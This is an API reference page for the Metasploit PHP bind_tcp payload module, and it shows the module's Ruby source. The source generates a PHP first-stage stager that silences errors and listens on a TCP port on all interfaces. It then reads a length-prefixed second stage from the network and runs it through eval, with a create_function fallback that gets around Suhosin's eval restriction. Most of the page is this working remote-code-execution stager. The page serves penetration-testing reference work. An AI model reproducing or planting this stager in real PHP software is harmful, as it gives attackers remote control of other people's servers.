Module: Msf::Payload::Php::BindTcp
- Includes:
- Msf::Payload::Php, SendUUID
- Defined in:
- lib/msf/core/payload/php/bind_tcp.rb
Overview
Complex bind_tcp payload generation for PHP
Instance Method Summary collapse
-
#generate(_opts = {}) ⇒ Object
Generate the first stage.
- #generate_bind_tcp(opts = {}) ⇒ Object
- #handle_intermediate_stage(conn, payload) ⇒ Object
-
#include_send_uuid ⇒ Object
By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.
- #transport_config(opts = {}) ⇒ Object
- #use_ipv6 ⇒ Object
Methods included from SendUUID
Methods included from Msf::Payload::Php
#php_preamble, #php_system_block
Instance Method Details
#generate(_opts = {}) ⇒ Object
Generate the first stage
20 21 22 23 24 25 26 27 28 |
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 20 def generate(_opts = {}) conf = { port: datastore['LPORT'] } php = super + generate_bind_tcp(conf) php.gsub!(/#.*$/, '') Rex::Text.compress(php) end |
#generate_bind_tcp(opts = {}) ⇒ Object
46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 |
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 46 def generate_bind_tcp(opts={}) ipf = 'AF_INET' ip = '0.0.0.0' if use_ipv6 ipf << "6" ip = '[::]' end php = %Q^/*<?php /**/ error_reporting(0); $ip = '#{ip}'; $port = #{opts[:port]}; if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ip}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(#{ipf}, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(#{ipf}, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ip, $port); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } ^ php << php_send_uuid if include_send_uuid php << %Q^switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { # We failed on the main socket. There's no way to continue, so # bail die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } # Set up the socket for the main stage to use. $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();^ end |
#handle_intermediate_stage(conn, payload) ⇒ Object
121 122 123 |
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 121 def handle_intermediate_stage(conn, payload) conn.put([payload.length].pack("N")) end |
#include_send_uuid ⇒ Object
By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.
34 35 36 |
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 34 def include_send_uuid false end |
#transport_config(opts = {}) ⇒ Object
42 43 44 |
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 42 def transport_config(opts={}) transport_config_bind_tcp(opts) end |
#use_ipv6 ⇒ Object
38 39 40 |
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 38 def use_ipv6 false end |